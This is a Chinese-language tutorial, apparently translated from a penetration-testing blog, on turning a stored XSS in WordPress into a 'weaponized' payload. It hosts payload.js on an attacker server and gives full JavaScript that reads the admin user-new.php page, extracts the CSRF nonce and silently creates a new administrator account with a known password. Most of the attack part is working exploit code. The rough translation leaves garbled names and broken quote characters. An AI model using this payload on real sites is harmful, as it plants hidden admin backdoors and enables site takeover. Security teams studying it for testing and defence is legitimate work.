武器化XSS的技巧|借助js创建武器化跨站点脚本payloads

武器化XSS的技巧|借助js创建武器化跨站点脚本payloads

在此文章中,我们将介绍一些简单的JavaScript技巧,用于创建武器化的跨站点脚本(XSS)负载。

如果您不喜欢阅读更多视频,请在此处以在线讲座形式观看此主题:

当我们确定一个XSS漏洞时,渗透测试人员通常使用简单的alert(1)有效载荷来演示JavaScript成功执行。尽管这可以有效地证明JavaScript的执行,但它不能突出恶意攻击者实际上可能会对易受攻击的Web应用程序执行的操作类型。开发武器化的XSS有效载荷可以更好地演示恶意攻击者可能采取的下一步措施,并且还具有相当多的破解乐趣。

那么,我们该如何处理XSS漏洞?好吧,如果未使用HttpOnly标志设置敏感的会话cookie ,我们可以读取该会话cookie的值并将其发送到我们控制的窃取该会话的第三方服务器。如今,这已不再是一种选择,因为大多数应用程序都在会话cookie上正确设置了HttpOnly标志,这将阻止JavaScript读取或写入这些cookie值。

但是,我们可以编写JavaScript,该JavaScript将从正在执行XSS代码的用户的浏览器向应用程序发出请求。而且对我们有帮助的是,当我们发出这些请求时,他们的浏览器会发送他们当前的会话cookie。因此,我们可能无法窃取他们的会话,但我们可能可以使用它。

让我们看一个简单的例子。我们将使用存储的XSS漏洞攻击WordPress服务器。当管理员预览权限较低的用户提交的帖子时,我们将添加一些可在管理员浏览器中运行的JavaScript。首先,我们将从基本的alert(1)有效负载开始。

图1:基本的XSS有效负载

预览此页面时,将按预期方式获得警报弹出窗口。

图2:XSS弹出窗口

添加更复杂的有效负载的一种(1)简单方法是从远程服务器执行一个简单的脚本包含。这使我们可以监视有效负载的加载时间,查看XSS受害者从中请求我们的有效负载的IP地址,并在初始XSS注入后更新我们的有效负载。

让我们创建一个空的有效载荷文件:

图3:初始payload.js文件

现在,让我们启动一个简单的Web服务器来托管该文件。请注意,使用python3 http.server模块将提供当前目录中的所有文件供任何人下载,因此请确保您没有提供任何您不打算提供的文件。

图4:托管有效载荷文件

现在,我们可以回到原始的XSS注入点,并将其更改为远程脚本包含。

图5:远程脚本包含

我们的简单python网络服务器在端口8888上以IP地址192.168.78.135运行。如果我们碰巧访问此网站,您会看到一个简单的目录列表,其中列出了我们的有效负载目录。

图6:简单HTTP服务器的目录列表

如果我们再次预览后包含我们的XSS注入,您可以在我们看到http.serverpayload.js文件是从IP地址请求192.168.78.135

图7:受害者的浏览器请求的payload.js文件

现在我们已经在自己的服务器上托管了一个JavaScript文件,我们可以开始向此有效负载添加功能,并查看运行它时会发生什么。让我们重新添加原始的alert(1)调用。

图8:向我们的payload.js文件添加alert(1)

再次运行XSS注入,我们得到:

图9:XSS弹出窗口

因此,现在我们要开始开发武器化的XSS有效载荷。我们将这些有效载荷添加到我们的payload.js文件中。为了轻松开发武器化的XSS负载,我们需要对目标应用程序进行某种形式的访问。在这篇文章中,我们正在研究可以在本地轻松设置的WordPress。

如果您无法设置要为其开发有效负载的应用程序的本地副本,则您将需要足够的访问权限来查看要设置为武器的请求。如果您拥有低特权帐户,则可以研究您的帐户可以向服务器发出的请求,并攻击使用该请求的其他帐户。如果您无法捕获和检查希望在有效负载中模拟的请求,那么即使不是不可能,创建武器化的有效负载也将具有挑战性。

我们将针对WordPress网站的管理员用户,并编写武器化的有效负载,以添加一个新的管理员用户,该用户的密码我们知道。首先,让我们捕获一个添加新的admin用户的示例请求,以查看有效负载必须模拟的内容。

创建新的管理员用户(以管理员身份登录)需要填写并提交WordPress表单。

图10:手动添加新的管理员用户

提交此表单后,我们可以查看我们的Burp Suite代理历史记录以查找此请求。

图11:添加新用户POST请求

回顾请求主体,我们看到许多参数作为此请求的一部分发送。

图12:添加新用户请求的主体

我们可以更改为Params选项卡,以在请求正文中更清晰地查看这些参数。

图13:更清晰的请求参数视图

我们不必担心cookie参数-受害者的运行我们的恶意XSS有效负载的浏览器将为我们自动添加这些cookie。但是,我们确实必须精心设计此请求的主体。让我们仔细看看这些参数。

图14:新的用户请求主体参数

我们可以从新用户表单user_loginemailpass1,pass1-text和pass2中看到一些变量。在此示例中,我们使用了可怕的密码,并且必须选中“确认使用弱密码”复选框通过选中该框,我们将参数pw_weak设置为on。我们还看到角色参数设置为administrator

我们有一些静态参数:
action = createuser
_wp_http_referer = /wp-admin/user-new.php
Createuser = Add New User

我们将能够在我们的请求中对它们进行硬编码。

这使得该_wpnonce_create用户的 价值。这是针对跨站点请求伪造(CSRF)攻击的安全保护。如果该值不正确,服务器将拒绝我们的请求。它是随机生成的,并在发出此请求之前发送给客户端。现在让我们忽略它,稍后再返回。

让我们开始构建JavaScript有效负载以发出此请求。我们将使用XMLHttpRequest(XHR)API在后台异步发出请求。这样,由于我们的恶意请求是在后台发送的,我们的受害者不会注意到他们的浏览器处于锁定状态。

请注意,对于这种类型的武器化,更新的Fetch API也听起来很有希望。我们将把讨论内容保存在以后的文章中,但是有关此API的信息可以在本文底部的参考部分中找到。

我们知道我们需要通过检查Burp Suite中的请求来对端点/wp-admin/user-new.php进行POST 让我们在payload.js文件中创建一个函数,并以该URI作为变量,以及我们先前在Burp Suite检查中确定的用户变量:

function addAdminUser()
{
  var uri = “/wp-admin/user-new.php”;
  var username  = “sneakyuser”;
  var email     = “sneaky%40somewhere.com”;

  var password  = “password”;
}

这是一个好的开始。现在,我们需要创建XHR请求,该请求会将POST发送到我们定义的URI端点。将此添加到函数中:


xhr = new XMLHttpRequest();
xhr.open(“POST”, uri);

我们需要设置Content-Type标头,以便服务器知道如何处理要发送的正文。您可以在“标题”子选项卡上查看请求的标题

图15:内容类型请求标头

通过将以下代码添加到函数中,我们可以在JavaScript中手动设置此标头:


xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);

现在,我们准备开始整理我们的请求的主体。让我们再次看看我们的body参数。

图16:新的用户请求正文参数

我们将从对前三(3)个值进行硬编码开始。稍后我们将使_wpnonce_create-user参数动态化,但是现在,进行硬编码就可以了:


var body = “action=createuser&”;
body += “_wpnonce_create-user=1c0eb1d904&”;
body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;

通过对前三(3)个参数进行硬编码,我们现在将在函数顶部添加使用我们的某些变量的后两(2)个参数。回想一下,我们最初设置了一些变量,包括:

var username  = “sneakyuser”;
var email          = “sneaky%40somewhere.com”;

我们将在接下来的两行代码中引用这些变量。


body += “user_login=” + username + “&”;
body += “email=” + email + “&”;

当这些行附加到我们的正文末尾(+ =是附加操作)时,它们将以snekeyuser作为用户名,并以smokey@somewhere.com作为电子邮件地址。

给出这些例子,身体的其余部分对您来说并不奇怪:

…
body += “first_name=&”;
body += “last_name=&”;
body += “uri=&”;

body += “pass1=” + password + “&”;
body += “pass1-text=” + password + “&”;
body += “pass2=” + password + “&”;
body += “pw_weak=on&”;

body += “send_user_notification=0&”;
body += “role=administrator&”;
body += “ure_select_other_roles=&”;
body += “createuser=Add+New+User”;
…

看起来不错!只需要做一(1)件事:发送请求。我们添加以下代码:

…
xhr.send(body);
…

我们的最终功能如下所示:

function addAdminUser()
 {
   var uri = “/wp-admin/user-new.php”;
   var username  = “sneakyuser”;
   var email     = “sneaky%40somewhere.com”;
   var password  = “password”;
   xhr = new XMLHttpRequest();
   xhr.open(“POST”, uri);
   xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
   var body = “action=createuser&”;
   body += “_wpnonce_create-user=1c0eb1d904&”;
   body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;
   body += “user_login=” + username + “&”;
   body += “email=” + email + “&”;
   body += “first_name=&”;
   body += “last_name=&”;
   body += “uri=&”;
   body += “pass1=” + password + “&”;
   body += “pass1-text=” + password + “&”;
   body += “pass2=” + password + “&”;
   body += “pw_weak=on&”;
   body += “send_user_notification=0&”;
   body += “role=administrator&”;
   body += “ure_select_other_roles=&”;
   body += “createuser=Add+New+User”;
   xhr.send(body);
 }

我们还需要调用该函数以使其实际运行,因此在函数括号后面添加:addAdminUser();

一旦将此函数保存在payload.js文件中,我们就可以在管理员会话中运行XSS有效负载。如果现时值尚未更改(手指交叉!),则应在运行addAdminUser函数时添加新的admin用户。

图17:添加了新的偷偷摸摸的管理员

我们还可以在Burp Suite历史记录中找到该请求,以查看该请求的外观。

图18:有效负载发出的POST请求

这个有效负载的问题在于,当我们在更改nonce值之后运行此负载时,我们的有效负载将不再起作用。为了接受我们的请求,我们的客户必须发送服务器期望的预定随机值。我们的客户知道此值,因为服务器在客户发出新用户POST请求之前的某个时候向该值发送了现时值。

当我们导航到之前填写的添加用户表单时,该表单在提交时即回发了,这就是我们的JavaScript正在仿真的POST表单。该原始形式包含一个具有正确随机数值的隐藏字段。

如果我们在Burp Suite代理历史记录中搜索对/wp-admin/user-new.phpGET请求,请选择该请求并查看服务器响应,我们可以在该响应中搜索_wpnonce_create-user。在这里可以找到该值。

图19:查找原始Nonce值

要完成新的管理员攻击,我们需要一些其他代码来获取user-new.php 页面并解析出nonce值,然后再构造并发送恶意POST请求。

首先,我们需要一个辅助函数来帮助格式化服务器响应。该函数是:

function read_body(xhr)
 {
   var data;
   if (!xhr.responseType || xhr.responseType === “text”)
   {
     data = xhr.responseText;
   }
   else if (xhr.responseType === “document”)
   {
     data = xhr.responseXML;
   }
   else if (xhr.responseType === “json”)
   {
     data = xhr.responseJSON;
   }
   else
   {
     data = xhr.response;
   }
   return data;
 }

接下来,我们需要一个函数来获取带有nonce值的页面。URI与我们在POST请求中使用的值相同。

function findNonce()
 {
   var uri = “/wp-admin/user-new.php”;
   xhr = new XMLHttpRequest();
   xhr.open(“GET”, uri, true);
   xhr.send(null);
 }

请注意,此XHR请求使用的是GET请求,而不是 我们先前功能中的POST请求。此代码将为我们检索user-new.php页面。现在我们需要对响应进行一些处理。

到目前为止,我们不必等待请求完成。我们现在确实必须为此担心。我们将添加一些代码,这些代码将等待GET请求完成。

xhr.onreadystatechange = function()
 {
   if (xhr.readyState == XMLHttpRequest.DONE)
   {
     // do something
   }
 }

在我们的GET请求完成之前,不会执行“// do something”注释的内括号。这是我们需要放置响应解析代码以找到我们的现时值的地方。我们可以在内部括号中添加以下代码:


var response = read_body(xhr);

我们将XHR请求传递给添加的read_body帮助器函数,并且将响应作为文本取回并将其保存在响应 变量中。现在,此变量保存该页面的完整HTML内容,包括添加新的用户表单和现时值!

该响应中包含很多内容,我们希望缩小范围。让我们再次查看HTML中的随机数。

图20:服务器响应中的Nonce值

我们可以在响应中搜索此代码。一个很好的搜索字符串可能是’ ‘name =” _ wpnonce_create-user” value =”’。该字符串应该是静态的,并且在’value =’之后是我们需要隔离的实际内容。我们可以使用以下代码在响应中找到此字符串:

…
var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
console.log(“Nonce string index is: “ + noncePos);
…

这将在响应中找到此字符串的索引。我们可以将所有这些放在一起并打印出该索引。

function findNonce()
 {
   var uri = “/wp-admin/user-new.php”;
   xhr = new XMLHttpRequest();
   xhr.open(“GET”, uri, true);
   xhr.send(null);
   xhr.onreadystatechange = function()
   {
     if (xhr.readyState == XMLHttpRequest.DONE)
     {
       // do something
       var response = read_body(xhr);
       var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
       console.log(“Nonce string index is: “ + noncePos);
     }
   }
 }

我们复制此功能和辅助read_body()函数到payload.js并调用它。

图21:findNonce()函数

如果我们在浏览器中打开Web开发人员控制台并以WordPress管理员的身份执行此有效负载,则可以在现时值所在位置附近看到索引。

图22:更接近现时值

我们可以在控制台打印语句下面的函数中添加更多代码。

…
var nonceVal = response.substring(noncePos, noncePos+100);
console.log(“Nonce substring is: “ + nonceVal);
…

这段代码将提取我们响应的子字符串,并将其保存到nonceVal变量中。我们将为该子字符串提供两(2)个索引:我们刚刚打印的noncePos和该索引加100。因此,在该子字符串中的某个位置,我们应具有我们的nonce值。

图23:打印响应的子字符串

通过一些反复试验,可以很容易地校正这些偏移量,从而仅隔离现时值本身。

图24:校正偏移量以隔离即刻值
图25:成功识别现值

现在,我们可以集成findNonce函数和addAdminUser函数,以首先找到随机数,然后在请求中使用它来添加新的管理员用户。我们还将包含随机数值的主体行从硬编码更改为变量。

从这开始:

body += “_wpnonce_create-user=1c0eb1d904&”;

至此:

body += “_wpnonce_create-user=” + nonceVal + “&”;

图26:修改POST以包含真实的nonceVal

完整的addAdminUser函数代码为:

function addAdminUser()
{
   var uri = “/wp-admin/user-new.php”;
   var username  = “sneakyuser”;
   var email     = “sneaky%40somewhere.com”;
   var password  = “password”;

   xhr = new XMLHttpRequest();

   xhr.open(“GET”, uri, true);
   xhr.send(null);

   xhr.onreadystatechange = function()
 {
    if (xhr.readyState == XMLHttpRequest.DONE)
    {
       // Parse out the nonce
       var response = read_body(xhr);
       var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
       console.log(“Nonce string index is: ” + noncePos);

       var nonceVal = response.substring(noncePos + 35, noncePos + 45);
       console.log(“Nonce substring is: ” + nonceVal);

// Now add the user using our nonce
       console.log(“Adding the user…”);
       xhr = new XMLHttpRequest();
       xhr.open(“POST”, uri);
       xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);

       var body = “action=createuser&”;
       body += “_wpnonce_create-user=” + nonceVal + “&”;
       body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;
       body += “user_login=” + username + “&”;
       body += “email=” + email + “&”;
       body += “first_name=&”;
       body += “last_name=&”;
       body += “uri=&”;
 
       body += “pass1=” + password + “&”;
       body += “pass1-text=” + password + “&”;
       body += “pass2=” + password + “&”;
       body += “pw_weak=on&”;

       body += “send_user_notification=0&”;
       body += “role=administrator&”;
       body += “ure_select_other_roles=&”;
       body += “createuser=Add+New+User”;

       xhr.send(body);
     }
   }
 }
 addAdminUser();

将此函数保存到payload.js文件中,然后以管理员用户身份再次运行,无论当前值是多少,现在都将始终导致添加新的管理员用户。

图28:添加了新用户

还有一个相当简单的示例,说明如何在应用程序中找到请求并编写JavaScript来重新创建该请求。能够做到这一点是一种强大的方法,可以利用它在应用程序中发现的XSS漏洞。

https://github.com/hoodoer/WP-XSS-Admin-Funcs的GitHub存储库中,我实现了许多相同的功能来攻击WordPress管理员。

您可以在@hakluke出色的GitHub存储库中找到其他带武器的XSS示例,网址https://github.com/hakluke/weaponised-XSS-payloads

如果您想看到其中一些其他功能的演示,例如从WordPress上的XSS弹出一个抄表器外壳,我们最近有一个关于该主题的网络研讨会,您可以在以下网址找到:https :
//www.trustedsec.com/events / webinar-popping shells而不是警报框武器化xss的乐趣和利润/

如果到此为止,谢谢您抽出宝贵的时间来研究创建武器化有效载荷的简单示例(如果遇到了麻烦),如果有任何疑问,请随时与我们联系。

参考文献

https://www.trustedsec.com/events/webinar-popping-shells-instead-of-alert-boxes-weaponizing-xss-for-fun-and-profit/embed/#?secret=TpvSKDQg4y

https://github.com/hoodoer/WP-XSS-Admin-Funcs

https://github.com/hakluke/weaponised-XSS-payloads

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest

https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API

from